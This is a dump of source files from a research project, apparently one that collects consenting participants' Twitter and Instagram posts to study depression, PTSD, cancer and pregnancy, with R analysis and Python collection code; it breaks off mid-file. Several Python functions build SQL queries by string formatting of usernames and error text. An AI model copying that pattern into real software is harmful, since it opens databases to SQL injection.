df$target\n mcmc <- mcmc.pack.model(mdf, burn.in, n, thin, b0, B0, m)\n save(file=pack.full.path, list=\"mcmc\")\n }\n }\n \n if (use.mcmc.pack) {\n var.names <- pack.var.names(var.names)\n }\n \n # stats on samples from the mcmc posterior\n if (m != 'intercept_only') print(summary(mcmc)[[1]][,c('Mean','SD')])\n report.hpdi(mcmc, var.names) # flags HPDIs containing zero, plots hist\n \n ## MCMC diagnositcs\n if (run.diagnostics) {\n # trace and posterior density\n for (field in var.names) { # plotting all at once is too big\n plot(mcmc[[1]][,field], main=field)\n }\n # autocorrelation\n if (show.autocorr) autocorr.plot(mcmc)\n # Gelman diagnostics\n if (show.gelman && m!='intercept_only') {\n try(print(gelman.diag(mcmc)))\n #try(gelman.plot(mcmc))\n }\n if (show.geweke && m!='intercept_only') {\n try(print(geweke.diag(mcmc)))\n #try(geweke.plot(mcmc))\n \n }\n if (show.bayes.p) bayes.p <- get.bayes.p(var.list, mcmc, print.stats=TRUE)\n \n }\n \n ## Model comparison\n if (bayes.factor && use.mcmc.pack) b.factor[[m]] <- mcmc\n }\n \n if (bayes.factor && use.mcmc.pack) b.factor.output <- compare.bayes.factor(b.factor, use.pca, pca.frames)\n \n} # end gb.type loop\n\n" }, { "alpha_fraction": 0.6691092252731323, "alphanum_fraction": 0.6775818467140198, "avg_line_length": 33.93600082397461, "blob_id": "f20caef8b792d0949c10469b187cb9bd1c132a4c", "content_id": "a330cf95edfb756268735aed9dbef29f891652bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4367, "license_type": "no_license", "max_line_length": 149, "num_lines": 125, "path": "/util.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom flask import jsonify\nimport boto\nimport boto.s3.connection\nimport sqlite3\nimport pandas as pd\nfrom StringIO import StringIO \nimport numpy as np\nimport requests \nimport time, datetime\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nfrom random import randint\nfrom twython import Twython\n\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\n## GLOBALS ##\ntable_data_path = os.environ.get(\"TABLE_DATA_PATH\")\ntable_goog_path = os.environ.get(\"TABLE_GOOG_PATH\")\ndata_path = os.environ.get(\"DATA_PATH\")\nlog_path = os.environ.get(\"LOG_PATH\")\ndb_path = os.environ.get(\"DB_PATH\")\ns3_path = os.environ.get(\"S3_PATH\")\nbucket_name = os.environ.get(\"BUCKET_NAME\")\n\ndef log(msgs,path,full_path_included=False,path_head=log_path):\n\t\n\tif full_path_included:\n\t\tlog_path = path_head+path\n\telse:\n\t\ttstamp = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n\t\tlog_path = path_head+path+'{}.log'.format(tstamp)\n\t\t\n\tf = open(log_path,'w')\n\tf.write('\\n'.join(msgs)+'\\n\\n')\n\tf.close()\n\n\ndef get_table_data(path=table_goog_path):\n\tr = requests.get(table_goog_path)\n\tdata = r.content\n\treturn pd.read_csv(StringIO(data))\n\n## connect_db: initiates sqlite3 connection\ndef connect_db():\t\n\treturn sqlite3.connect(db_path)\n\n## get_tokens: gets api tokens for twitter, instagram, s3 (specified by 'medium')\ndef get_tokens(conn, medium, username='MASTER'):\n\tif username == 'MASTER':\n\t\twith conn:\n\t\t\tquery = \"SELECT consumer_key, consumer_secret, access_key, access_secret FROM tokens WHERE service='{}' AND username='{}'\".format(medium,username)\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\t\trow = cur.fetchone()\n\t\t\treturn (row[0], row[1], row[2], row[3])\n\telse:\n\t\twith conn:\n\t\t\tquery = \"SELECT consumer_key, consumer_secret FROM tokens WHERE service='{}' AND username='{}'\".format(medium,'MASTER')\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\t\trow = cur.fetchone()\n\t\t\tckey = row[0]\n\t\t\tcsec = row[1]\n\n\t\t\tquery = \"SELECT access_key, access_secret FROM tokens WHERE service='{}' AND username='{}'\".format(medium,username)\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\t\trow = cur.fetchone()\n\t\t\takey = row[0]\n\t\t\tasec = row[1]\n\t\treturn (ckey, csec, akey, asec)\n\n## cache Twitter/Instagram data to s3 \n## accessible at s3://predicthealth/<medium>/<username>\ndef s3_cache(conn, medium, data, username,path_head=data_path):\n\ttry:\n\t\tfname = path_head+medium+'/'+username\n\t\tnp.savetxt(fname, data, fmt=\"%s\")\n\t\t_, _, s3_access_key, s3_secret_key = get_tokens(conn,\"s3\")\n\t\ts3_conn = boto.connect_s3( aws_access_key_id = s3_access_key, aws_secret_access_key = s3_secret_key)\n\t\ts3_bucket = s3_conn.get_bucket(bucket_name)\n\t\tk = s3_bucket.new_key(medium+'/'+username)\n\t\tk.set_contents_from_filename(fname)\n\t\treturn jsonify({\"success\":\"all \"+medium+\" posts for user: \"+username+\" were collected and cached. retrieve at: \"+s3_path+medium+\"/\"+username})\n\texcept Exception,error:\n\t\treturn error \n\n## on data collection attempt, update user in 'usernames' table as either 'collected' or save the error in case of fail\ndef update_user_status(conn, medium, username, status):\n\tif status == \"success\":\n\t\tconn = connect_db()\n\t\tquery = \"UPDATE usernames SET collected=1 WHERE username='{}' AND medium='{}'\".format(username,medium)\n\t\t## deletes any previous recorded errors that prevented successful collection\n\t\tquery2 = \"UPDATE usernames SET collect_error='' WHERE username='{}' AND medium='{}'\".format(username,medium)\n\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\t\tcur.execute(query2)\n\t\tconn.commit()\n\telse:\n\t\tconn = connect_db()\n\t\tquery = \"UPDATE usernames SET collect_error='{}' WHERE username='{}' AND medium='{}'\".format(status,username,medium)\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\tconn.commit()\n\n## registers photo in photo_ratings table with default values\ndef register_photo(conn, url, uid, tname=\"photo_ratings\"):\n\ttry:\n\t\tcols = tuple(['uid', 'rater_id', 'url', 'happy', 'sad', 'likable', 'interesting', 'one_word', 'description'])\n\t\tvals = tuple([ uid, '', url, 0, 0, 0, 0, '', '' ])\n\t\tquery = \"INSERT OR IGNORE INTO {table}{cols} VALUES{vals}\".format(table=tname,cols=cols,vals=vals)\n\t\twith conn:\n\t\t\tcur = conn.cursor()\n\t\t\tcur.execute(query)\n\t\tconn.commit()\n\t\treturn \"register_ok\"\n\texcept Exception, e:\n\t\treturn \"reg_photo__\"+str(e)\n" }, { "alpha_fraction": 0.6493023037910461, "alphanum_fraction": 0.6581395268440247, "avg_line_length": 37.035396575927734, "blob_id": "5c4ac3d8f10ce749b9afbba3a5ae5051832a8f45", "content_id": "db740282d588a2207cdd6382d168443d24f9c61d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4300, "license_type": "no_license", "max_line_length": 330, "num_lines": 113, "path": "/date_checker.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport os, re, time, datetime, sqlite3\nfrom dateutil import parser\n\nfrom functools import wraps\n\nfrom nocache import nocache\n\nimport util, datetime\nfrom dateutil import parser\n\nconn = util.connect_db()\nconditions = ['pregnancy','cancer','ptsd','depression']\n\n# this code fixes existing database entries from qualtrics where the month is a string instead of a zero-padded integer\nmonths = [('January','01'),('February','02'),('March','03'),('April','04'),('May','05'),('June','06'),('July','07'),('August','08'),('September','09'),('October','10'),('November','11'),('December','12')]\nmonth_dict = {k:v for k,v in months}\nconditions = ['pregnancy','cancer','ptsd','depression']\nfor condition in conditions:\n\tquery = 'select uid, diag_month from {} where diag_month is not null and diag_monthnum is null'.format(condition)\n\twith conn:\n\t\tcur = conn.cursor()\n\t\tcur.execute(query)\n\t\trows = cur.fetchall()\n\tparams = []\n\tfor row in rows:\n\t\tuid = row[0] \n\t\tdmonth = row[1] \n\t\tparams.append([dmonth, month_dict[dmonth], uid])\n\tquery = \"update {} set diag_monthnum = replace(diag_month,?,?) where uid=? and diag_month is not null\".format(condition)\n\twith conn:\n\t\tcur = conn.cursor()\n\t\tcur.executemany(query, params)\n\tconn.commit()\n\n\nfor condition in conditions:\n\n\tquery = (\"SELECT platform, {cond}.username, diag_day, diag_monthnum, diag_year, days_suspected \".format(cond=condition) + \n\t\t\t \"FROM {} \".format(condition) + \n\t\t\t \"WHERE ({cond}.username_tw is not null OR {cond}.username_ig is not null) AND ({cond}.diag_year is not null)\".format(cond=condition)\n\t\t\t )\n\n\twith conn:\n\t\tcur = conn.cursor()\n\t\tcur.execute(query)\n\t\trows = cur.fetchall()\n\tprint \n\tprint\n\tprint \"CONDITION: {}\".format(condition)\n\tparams = []\n\tfor r in rows:\n\t\tplatform, utw, uig, day, month, year, dsusp = r\n\t\tmonth = '0'+str(month) if len(str(month))==1 else month\n\t\tday = '0'+str(day) if len(str(day))==1 else day \n\t\tdates = {}\n\t\tddate = '-'.join([str(year),str(month),str(day)])\n\t\tdates['diag'] = ddate\n\t\ttry:\n\t\t\tddate_obj = parser.parse(ddate)\n\t\texcept Exception, e:\n\t\t\tprint str(e)\n\t\t\tprint 'Problem with date for user: tw: {} ig: {}, date = {}'.format(utw, uig,ddate) \n\t\tif dsusp and str(dsusp)[-1]!='+':\n\t\t\tsdate_obj = ddate_obj - datetime.timedelta(days=dsusp)\n\t\t\tdates['susp'] = sdate_obj.strftime('%Y-%m-%d')\n\t\telse:\n\t\t\tdates['susp'] = None\n\t\tif utw:\n\t\t\ttable_name = 'meta_tw'\n\t\t\tfield_name = 'username_tw'\n\t\t\tuname = utw\n\t\telif uig:\n\t\t\ttable_name = 'meta_ig'\n\t\t\tfield_name = 'username_ig'\n\t\t\tuname = uig\n\t\telse:\n\t\t\ttable_name = None\n\t\tif table_name:\n\t\t\tfor date_type in ['diag','susp']:\n\t\t\t\tif dates[date_type] is not None:\n\n\t\t\t\t\t# count number of days difference between post and diag/susp date\n\t\t\t\t\t# -int = post date is earlier than diag/susp date, +int=later\n\t\t\t\t\tquery = \"UPDATE {table} SET d_from_{date_type}_{cond}=julianday(created_date)-julianday('{date}') WHERE username='{uname}'\".format(table=table_name,cond=condition,date=dates[date_type],date_type=date_type,uname=uname)\n\t\t\t\t\t\n\t\t\t\t\twith conn:\n\t\t\t\t\t\tcur = conn.cursor()\n\t\t\t\t\t\tcur.execute(query)\n\t\t\t\t\t\t#rows = cur.fetchall()\n\t\t\t\t\tconn.commit()\n\t\t\t\t\tprint 'Commit complete for {} [TABLE: {}, COND: {}, DTYPE: {}]'.format(uname, table_name, condition, date_type)\n\t\t\t\t\t#conn.commit()\n\t\t\t\t#query = \"update {cond} set usable_data_points_{dtype} = (select count(*) from {tname} where {tname}.within_90_{dtype}_{cond}=1 and {tname}.username={cond}.{fname}) where exists (select * from {tname} where {tname}.username={cond}.{fname})\".format(cond=condition,dtype=date_type,tname=table_name,fname=field_name)\n\t\t\t\t#with conn:\n\t\t\t\t#\tcur = conn.cursor()\n\t\t\t\t#\tcur.execute(query)\n\t\t\t\t#conn.commit()\n\nconditions = ['pregnancy','cancer','ptsd','depression']\nfor condition in conditions:\n\tfor date_type in ['diag','susp']:\n\t\tfor med in ['tw','ig']:\n\n\t\t\tquery = \"update {cond} set usable_data_points_{dtype} = (select count(*) from meta_{med} where abs(meta_{med}.d_from_{dtype}_{cond})<=90 and meta_{med}.username={cond}.username_{med}) where exists (select * from meta_{med} where meta_{med}.username={cond}.username_{med} limit 1)\".format(cond=condition,dtype=date_type,med=med)\n\n\t\t\twith conn:\n\t\t\t\tcur = conn.cursor()\n\t\t\t\tcur.execute(query)\n\t\t\tconn.commit()\n\n\t\t\tprint 'Finished {med} {c} {dt}'.format(med=med, c=condition, dt=date_type)\n\n\n" }, { "alpha_fraction": 0.5993360280990601, "alphanum_fraction": 0.5995914340019226, "avg_line_length": 49.844154357910156, "blob_id": "b4630ba1726e9dd1c539689d9e07e1601db108ca", "content_id": "6e2df4712f3f1a6a29d5255f53e0dd34247bf3bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 3916, "license_type": "no_license", "max_line_length": 107, "num_lines": 77, "path": "/varset.R", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "\nratings_means <- c('likable','interesting','sad','happy')\nhsv_means <- c('hue','saturation','brightness')\nhsv_full <- c(hsv_means,'before_diag','before_susp','target')\nmetadata_means <- c('comment_count','like_count','has_filter')\nface_means <- c('has_face','face_ct')\n\n# a number of LIWC labels are linearly dependent on their hierarchical sub-categories. just use these ones.\nliwc_vars <- paste0('LIWC_',c('i','we','you','shehe','they','ipron','article','verb','negate',\n 'swear','social','posemo','anx','anger','sad','cogmech','percept',\n 'body','health','sexual','ingest','relativ','work','achieve',\n 'leisure','home','money','relig','death','assent'))\nvars <- list(\n ig=list(\n post=list( \n ratings_means=ratings_means,\n hsv_means=hsv_means,\n hsv_full=c(hsv_means,'before_diag','before_susp','target'),\n metadata_means=metadata_means,\n face_means=face_means,\n all_ig_means=c(hsv_means,metadata_means),\n ig_face_means=c(hsv_means, metadata_means, face_means),\n all_means=c(ratings_means,hsv_means,metadata_means,face_means),\n full=c(ratings_means, hsv_means,metadata_means,\n 'likable.var','interesting.var','sad.var','happy.var',\n 'before_diag','before_susp','target')\n ),\n username=list(\n ratings_means=ratings_means,\n hsv_means=hsv_means,\n hsv_full=c(hsv_means,'before_diag','before_susp','target'),\n metadata_means=c(metadata_means,'url'),\n face_means=face_means,\n all_ig_means=c(hsv_means,metadata_means,'url'),\n ig_face_means=c(hsv_means, metadata_means, 'url', face_means),\n all_means=c(ratings_means,hsv_means,metadata_means,'url',face_means),\n full=c(ratings_means, hsv_means,metadata_means,'url', face_means,\n 'likable.var','interesting.var','sad.var','happy.var',\n 'one_word','description','target')\n ),\n created_date=list(\n ratings_means=ratings_means,\n hsv_means=hsv_means,\n hsv_full=c(hsv_means,'before_diag','before_susp','target'),\n metadata_means=c(metadata_means,'url'),\n face_means=face_means,\n all_ig_means=c(hsv_means,metadata_means,'url'),\n ig_face_means=c(hsv_means, metadata_means, 'url', face_means),\n all_means=c(ratings_means,hsv_means,metadata_means,'url',face_means),\n full=c(ratings_means, hsv_means,metadata_means,'url', face_means,\n 'likable.var','interesting.var','sad.var','happy.var',\n 'one_word','description','target')\n )\n ),\n tw=list(\n weekly=list( \n all_means=c('LabMT_happs', 'ANEW_happs', 'ANEW_arousal', 'ANEW_dominance',\n 'tweet_count', 'word_count', 'has_url', 'is_rt', 'is_reply', 'LIWC_happs', liwc_vars),\n basic_tweet_means=c('LabMT_happs','tweet_count','word_count','is_rt','is_reply','has_url'),\n test_means=c('LabMT_happs', 'ANEW_happs', 'ANEW_arousal', 'ANEW_dominance',\n 'tweet_count', 'word_count', 'has_url', 'is_rt', 'is_reply', 'LIWC_happs', liwc_vars)\n ),\n user_id=list(\n all_means=c('LabMT_happs', 'ANEW_happs', 'ANEW_arousal', 'ANEW_dominance',\n 'tweet_count', 'word_count', 'has_url', 'is_rt', 'is_reply', 'LIWC_happs', liwc_vars),\n basic_tweet_means=c('LabMT_happs','tweet_count','word_count')\n ),\n created_date=list(\n all_means=c('LabMT_happs', 'ANEW_happs', 'ANEW_arousal', 'ANEW_dominance',\n 'tweet_count', 'word_count', 'has_url', 'is_rt', 'is_reply', 'LIWC_happs', liwc_vars),\n basic_tweet_means=c('LabMT_happs','tweet_count','word_count','is_rt','is_reply','has_url'),\n test_means=c('LabMT_happs', 'ANEW_happs', 'ANEW_arousal', 'ANEW_dominance',\n 'tweet_count', 'word_count', 'has_url', 'is_rt', 'is_reply', 'LIWC_happs', liwc_vars)\n )\n )\n )\n\nsaveRDS(vars,'varset.rds')\n" }, { "alpha_fraction": 0.6779661178588867, "alphanum_fraction": 0.6807909607887268, "avg_line_length": 20.484848022460938, "blob_id": "357111231ab4acb392c0e09f70d941dbc28a4631", "content_id": "43f548f419f5be85ff2d121265cec3e702274b40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 69, "num_lines": 33, "path": "/verify.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "def verify_twitter(api,username,followed):\n\n\tverified = False\n\tuid = api.get_user(username).id\n\tfollow_ids = api.followers_ids(followed)\n\n\tif uid in follow_ids:\n\t\tverified = True\n\n\treturn verified\n\ndef verify_instagram(api,username):\n\n\ttry:\n\t\tverified = False\n\t\tfollowers = []\n\t\tfollower_data, next_ = api.user_followed_by()\n\n\t\tfor f in follower_data:\n\t\t\tfollowers.append(str(f).split(\" \")[1])\n\t\twhile next_: # pagination \n\t\t more_follows, next_ = api.user_followed_by(with_next_url=next_)\n\t\t for f in more_follows:\n\t\t\t\tfollowers.append(str(f).split(\" \")[1])\n\t\t followers.extend(more_follows)\n\n\t\tif username in followers:\n\t\t\tverified = True\n\n\t\treturn verified\n\n\texcept Exception, e:\n\t\treturn str(e)" }, { "alpha_fraction": 0.6844534873962402, "alphanum_fraction": 0.6904277205467224, "avg_line_length": 41.5722541809082, "blob_id": "24f9096b1c41d6b8006dd4e92eb434a5961b7801", "content_id": "4c4e2692131d4ed5eeb3e0d1b8691a8cfa053458", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7365, "license_type": "no_license", "max_line_length": 195, "num_lines": 173, "path": "/collect.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "from flask import jsonify\nfrom extract import extract_meta, extract_hsv\nimport util\nimport time\n\n\ndef collect_instagram(api,username,unique_id,conn,table_data):\n\tmedium = \"instagram\"\n\tsleep_cutoff = 10\n\twarning_count = 0\n\tcollect_error = False\n\tmin_posts_per_call = 5\n\n\tlog_dir = 'collect/{}/{}.log'.format(medium,username)\n\tlog_msgs = []\n\n\t# get diagnosis date and suspected date\n\tquery = \"SELECT diag_year, diag_month, diag_day, days_suspected\"\n\ttry:\n\n\t\tuid = api.user().id\n\t\tnum_statuses = api.user().counts['media']\n\n\t\tif num_statuses == 0:\n\t\t\tlog_msgs.append('USER: {} [ID: {}] has zero posts!'.format(username,uid))\n\t\telse:\n\t\t\tlog_msgs.append('START LOG FOR USER: {} | ID: {} | TOTAL POSTS: {}\\n'.format(username, uid, num_statuses))\n\t\t\t\n\t\t\tuser_posts = []\n\n\t\t\trecent_media, next_ = api.user_recent_media()\n\n\t\t\tfor media in recent_media:\n\t\t\t\tmobj = {}\n\t\t\t\traw = api.media(media.id)\n\t\t\t\t# we return photo_url for use in extract_hsv()\n\t\t\t\t# (we could just run extract_hsv inside extract_meta, but this is better separability)\t\n\t\t\t\tphoto_url = extract_meta(conn, medium, raw, username, uid, unique_id, table_data, log_msgs) # extract metadata, store in meta_ig\n\t\t\t\t#print 'extract_meta return:'\n\t\t\t\t#print photo_url\n\t\t\t\t#print\n\t\t\t\textract_hsv( conn, photo_url, unique_id, username ) # store in hsv table\t\t\n\t\t\t\tutil.register_photo(conn, photo_url, unique_id) # register photo in photo_ratings table\n\t\t\t\tuser_posts.append(mobj)\n\n\t\t\t\tstolen = len(user_posts)\n\t\t\t\tcalls_until_rate_limit = api.x_ratelimit_remaining\n\n\t\t\twhile next_ and stolen < num_statuses and (not collect_error):\n\n\t\t\t\tif len(user_posts) < min_posts_per_call:\n\t\t\t\t\twarning_count += 1\n\t\t\t\telse:\n\t\t\t\t\twarning_count = 0\n\t\t\t\tif warning_count > 5:\n\t\t\t\t\tcollect_error = True\n\t\t\t\t\tlog_msgs.append('We hit a collect error, stolen: {}, calls_until_rate_limit: {}'.format(stolen,calls_until_rate_limit))\n\t\t\t\t\n\t\t\t\tmore_media, next_ = api.user_recent_media(with_next_url=next_)\n\t\t\t\tfor media in more_media:\n\t\t\t\t\tmobj = {}\n\t\t\t\t\ttry:\n\t\t\t\t\t\traw = api.media(media.id)\n\n\t\t\t\t\t\t# from extract_meta we return photo_url for use in extract_hsv()\n\t\t\t\t\t\t# (we could just run extract_hsv inside extract_meta, but this is better separability)\n\t\t\t\t\t\tphoto_url = extract_meta(conn, medium, raw, username, uid, unique_id, table_data, log_msgs) # extract metadata, store in meta_ig\n\n\t\t\t\t\t\textract_hsv( conn, photo_url, unique_id, username ) # store in hsv table\n\t\t\t\t\t\tutil.register_photo(conn, photo_url, unique_id) # register photo in photo_ratings table\n\t\t\t\t\t\tuser_posts.append(mobj)\n\t\t\t\t\texcept Exception,error:\n\t\t\t\t\t\tlog_msgs.append('Failed collection for media id: {}, Error: {}'.format(media.id,str(error)))\n\t\t\t\tstolen = len(user_posts)\n\t\t\t\tcalls_until_rate_limit = api.x_ratelimit_remaining\n\t\t\t\t\n\t\t\t\tif stolen%50==0:\n\t\t\t\t\tprint 'Num statuses collected for user: {}: {}'.format(username,stolen)\n\t\t\t\t\tprint 'Total API calls left before rate limit: {}'.format(calls_until_rate_limit)\n\t\t\t\t\tlog_msgs.append('Num statuses collected for user: {}: {}'.format(username,stolen))\n\t\t\t\t\tlog_msgs.append('Total API calls left before rate limit: {}'.format(calls_until_rate_limit))\n\n\t\t\tlog_msgs.append('Num statuses collected for user: {}: {}'.format(username,stolen))\n\t\t\tlog_msgs.append('Total API calls left before rate limit: {}'.format(calls_until_rate_limit))\n\n\t\tdata = user_posts\n\t\tutil.update_user_status(conn, medium, username, \"success\") # update username as \"collected\"\n\t\tutil.s3_cache(conn, medium, data, username) # cache raw blob in s3\n\n\t\tutil.log(log_msgs, log_dir, full_path_included=True)\n\t\t\n\texcept Exception,error:\n\t\tutil.update_user_status(conn, medium, username, str(error))\n\t\tlog_msgs.append(\"Error collecting {} for user: {} [ERROR: {}]\".format(medium,username,str(error)))\n\t\tutil.log(log_msgs, log_dir, full_path_included=True)\n\n\ndef collect_twitter(api,username,unique_id,conn,table_data):\n\tmedium = \"twitter\"\n\tsleep_cutoff = 10\n\twarning_count = 0\n\tcollect_error = False\n\tmin_tweets_per_call = 50\n\n\tlog_dir = 'collect/{}/{}.log'.format(medium,username)\n\tlog_msgs = []\n\n\ttry:\n\t\tuser_info = api.verify_credentials()\n\t\tnum_statuses = user_info[\"statuses_count\"]\n\t\tuser_id = user_info[\"id\"]\n\t\tlog_msgs.append('START LOG FOR USER: {} | ID: {} | TOTAL POSTS: {}'.format(username, user_id, num_statuses))\n\texcept Exception,error:\n\t\tutil.update_user_status(conn, medium, username, error)\n\t\n\ttry:\n\t\talltweets = api.get_user_timeline(id=user_id,count=200)\n\t\ttweets = alltweets\n\t\tstolen = len(alltweets)\n\n\t\tif num_statuses > 0:\n\t\t\tmin_id = alltweets[-1][\"id\"]\n\n\t\twhile stolen < 3100 and stolen < num_statuses and (not collect_error):\n\t\t\t# for some accounts, the API starts collecting one tweet at a time after a certain period.\n\t\t\t# not sure why this happens - it happens well before rate limits kick in. \n\t\t\t# warning_count tracks how many times we get a return well below 200 (anything less than min_tweets_per_call tweets back)\n\t\t\t# if that happens more than 5 times in a row, we stop collection and store what we've got\n\t\t\t#print 'len(tweets): {} | less than min?: {} | collect error: {}'.format(len(tweets), len(tweets) < min_tweets_per_call, collect_error)\n\t\t\tif len(tweets) < min_tweets_per_call:\n\t\t\t\twarning_count += 1\n\t\t\telse:\n\t\t\t\twarning_count = 0\n\t\t\tif warning_count > 5:\n\t\t\t\tcollect_error = True\n\n\t\t\tcalls_until_rate_limit = api.get_application_rate_limit_status(resources=['statuses'])['resources']['statuses']['/statuses/user_timeline']['remaining']\n\t\t\t\n\t\t\tprint 'Num statuses collected for user: {}: {}'.format(username,stolen)\n\t\t\tprint 'Total API calls left before rate limit: {}'.format(calls_until_rate_limit)\n\t\t\tlog_msgs.append('Num statuses collected for user: {}: {}'.format(username,stolen))\n\t\t\tlog_msgs.append('Total API calls left before rate limit: {}'.format(calls_until_rate_limit))\n\t\t\t\n\t\t\tif calls_until_rate_limit > sleep_cutoff:\n\t\t\t\ttweets = api.get_user_timeline(id=user_id,count=200,max_id=min_id)\n\t\t\t\talltweets.extend(tweets)\n\t\t\t\tmin_id = alltweets[-1][\"id\"]\n\t\t\t\tstolen = len(alltweets)\n\t\t\telse:\n\t\t\t\tprint 'Close to API rate limit ({current} left) (this happened while working on username: {uname})...sleeping for 1 minute\\n'.format(current=calls_until_rate_limit, uname=username)\n\t\t\t\tlog_msgs.append('Close to API rate limit ({current} left) (this happened while working on username: {uname})...sleeping for 1 minute\\n'.format(current=calls_until_rate_limit, uname=username))\n\t\t\t\ttime.sleep(60)\n\n\t\tdata = alltweets\n\t\textract_meta(conn, medium, data, username, user_id, unique_id, table_data, log_msgs) # extract metadata, store in meta_tw\n\t\tutil.update_user_status(conn, medium, username, \"success\") # update username as \"collected\"\n\t\tutil.s3_cache(conn, medium, data, username) # cache raw blob in s3\n\n\t\tlog_msgs.append('Collect for {} successful, collected {} tweets'.format(username, len(alltweets)))\n\t\tif collect_error:\n\t\t\tlog_msgs.append('We hit a collect error, some kind of slowdown around Tweet ID: {}'.format(min_id))\n\t\t\n\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\texcept Exception,error:\t\n\t\ttry:\n\t\t\tutil.update_user_status(conn, medium, username, error)\n\t\t\tlog_msgs.append('There was an error with collect: [{}]'.format(error))\n\t\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\t\treturn \"There was an error. Check logs.\"\n\t\texcept Exception,e:\n\t\t\tlog_msgs.append(str(e)+str(error))\n\t\t\tutil.log(log_msgs,log_dir,full_path_included=True)\n\t\t\treturn str(e)+str(error)\n" }, { "alpha_fraction": 0.6769858598709106, "alphanum_fraction": 0.6837676763534546, "avg_line_length": 33.469696044921875, "blob_id": "b382cad91c57bb96f25240f06ec7f38da82e9ecd", "content_id": "0812dfbc7d9ccc4d6ac307aa892ca594dbedd8fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15925, "license_type": "no_license", "max_line_length": 441, "num_lines": 462, "path": "/run.py", "repo_name": "minaksheeshukla/predicthealth", "src_encoding": "UTF-8", "text": "from flask import Flask, jsonify, request, current_app, session, redirect, make_response, current_app\n\nimport numpy as np\nimport pandas as pd\nimport time, datetime, re, os, ssl, json\nfrom datetime import timedelta\nfrom functools import wraps, update_wrapper\nfrom random import randint\nfrom urllib import unquote\n\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\n\nfrom twython import Twython, TwythonError\nfrom instagram.client import InstagramAPI\n\nfrom nocache import nocache\nimport util \nfrom collect import collect_instagram, collect_twitter\nfrom verify import verify_instagram, verify_twitter\n\n## the core flask app\napp = Flask(__name__)\n\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\n\n## GLOBALS ##\nbase_path = os.environ.get(\"BASE_PATH\")\ncert_path = os.environ.get(\"CERT_PATH\")\ncert_key_path = os.environ.get(\"CERT_KEY_PATH\")\ndata_directory = os.environ.get(\"DATA_PATH\")\noauth_url_base = os.environ.get(\"OAUTH_URL_BASE\")\nacquire_url_base = os.environ.get(\"ACQUIRE_URL_BASE\")\n\n## we need this to run https, which we need for CORS issues on Qualtrics (verify() function)\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\ncontext.load_cert_chain(cert_path,cert_key_path)\n\n## gets table name / field / datatype for all tables as a Pandas data frame\ntable_data = util.get_table_data()\n\n\n\ndef crossdomain(origin=None, methods=None, headers=None,\n\t\t\t\tmax_age=21600, attach_to_all=True, automatic_options=True):\n\t''' Super-helpful decorator to avoid CORS issues when calling from Qualtrics (or anywhere else)\n\t\tSource: https://blog.skyred.fi/articles/better-crossdomain-snippet-for-flask.html \n\t\tAlso: http://stackoverflow.com/questions/22181384/javascript-no-access-control-allow-origin-header-is-present-on-the-requested '''\n\t\n\tif methods is not None:\n\t\tmethods = ', '.join(sorted(x.upper() for x in methods))\n\tif headers is not None and not isinstance(headers, basestring):\n\t\theaders = ', '.join(x.upper() for x in headers)\n\tif not isinstance(origin, basestring):\n\t\torigin = ', '.join(origin)\n\tif isinstance(max_age, timedelta):\n\t\tmax_age = max_age.total_seconds()\n\n\tdef get_methods():\n\t\tif methods is not None:\n\t\t\treturn methods\n\n\t\toptions_resp = current_app.make_default_options_response()\n\t\treturn options_resp.headers['allow']\n\n\tdef decorator(f):\n\t\tdef wrapped_function(*args, **kwargs):\n\t\t\tif automatic_options and request.method == 'OPTIONS':\n\t\t\t\tresp = current_app.make_default_options_response()\n\t\t\telse:\n\t\t\t\tresp = make_response(f(*args, **kwargs))\n\t\t\tif not attach_to_all and request.method != 'OPTIONS':\n\t\t\t\treturn resp\n\n\t\t\th = resp.headers\n\t\t\th['Access-Control-Allow-Origin'] = origin\n\t\t\th['Access-Control-Allow-Methods'] = get_methods()\n\t\t\th['Access-Control-Max-Age'] = str(max_age)\n\t\t\th['Access-Control-Allow-Credentials'] = 'true'\n\t\t\th['Access-Control-Allow-Headers'] = \\\n\t\t\t\t\"Origin, X-Requested-With, Content-Type, Accept, Authorization\"\n\t\t\tif headers is not None:\n\t\t\t\th['Access-Control-Allow-Headers'] = headers\n\t\t\treturn resp\n\n\t\tf.provide_automatic_options = False\n\t\treturn update_wrapper(wrapped_function, f)\n\treturn decorator\n\n\ndef register_user(medium, userid, username, uid, post_ct, conn, token, secret):\n\t''' on successful verification, enter username into 'usernames' table '''\n\n\ttstamp = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n\tlog_dir = 'registeruser/{med}__{u}__{t}.log'.format(med=medium,u=username,t=tstamp)\n\tlog_msgs = []\n\tlog_msgs.append('\\nStarting register_user for username {} [service id: {}] [total posts: {}]'.format(username,userid,post_ct))\n\n\ttry:\n\t\ttable = 